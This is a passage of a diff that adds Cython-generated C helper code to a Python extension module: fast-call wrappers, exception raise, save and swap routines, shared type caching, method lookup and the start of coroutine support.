PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine 